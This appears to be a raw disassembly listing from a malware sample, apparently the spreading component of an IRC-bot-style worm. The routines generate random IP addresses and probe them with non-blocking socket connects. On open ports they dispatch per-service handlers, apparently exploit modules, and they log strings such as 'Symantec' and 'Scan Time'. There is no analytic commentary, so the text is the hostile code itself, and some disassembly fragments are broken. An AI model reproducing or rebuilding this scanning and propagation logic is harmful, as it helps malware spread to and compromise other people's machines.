sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDAB0
		mov	ecx, dword_4CDAAC
		push	esi
		push	dword_4CACE4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDAB0
		lea	eax, [ebp+var_200]
		push	dword_4CDAAC
		push	offset unk_4317FC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCF4
		push	offset unk_431844
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431890
		push	eax
		call	sub_41B886
		cmp	dword_431440, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431880
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFE4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431440, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431440
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318E0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318AC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0F0[eax*8]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431930
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431910
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43144C[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD1AC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD3BC, eax
		mov	dword_4CD3B8, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD2B0
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD1A8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD440, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD3BC
		push	offset unk_42BE90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD3B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD1A8
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, dword_4CD3B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD448, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A50
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACE0
		mov	esi, offset dword_4CD454
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD664, eax
		mov	dword_4CD660, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD558
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD450, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6E8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD664
		push	offset unk_431A1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD65C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD450
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, dword_4CD65C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6F0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319E8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431454[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCEC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD114, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD108, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD110, ebx
		mov	dword_4CD198, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD114
		lea	eax, [ebp+var_204]
		push	offset unk_4319B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD10C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD108
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, dword_4CD10C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD1A0, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431450[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD984
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA9C, ebx
		mov	dword_4CDA88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6FC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA88
		mov	dword_4CDA94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA98, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BE18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6F8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, dword_4CDA90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDAA4, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43194C
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0F0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAECC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAFA0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0F0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAFA4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF8C
		push	esi
		mov	edi, eax
		call	dword_4CB03C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEE4[ebx]
		cmp	dword_4CB0F4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEE4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCE0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0F0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A84
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0F0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431444[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	near ptr 2670535h
		nop
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFE4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0F0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0F0
		push	esi
		call	near ptr 26D0743h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 26D05B7h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B90
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
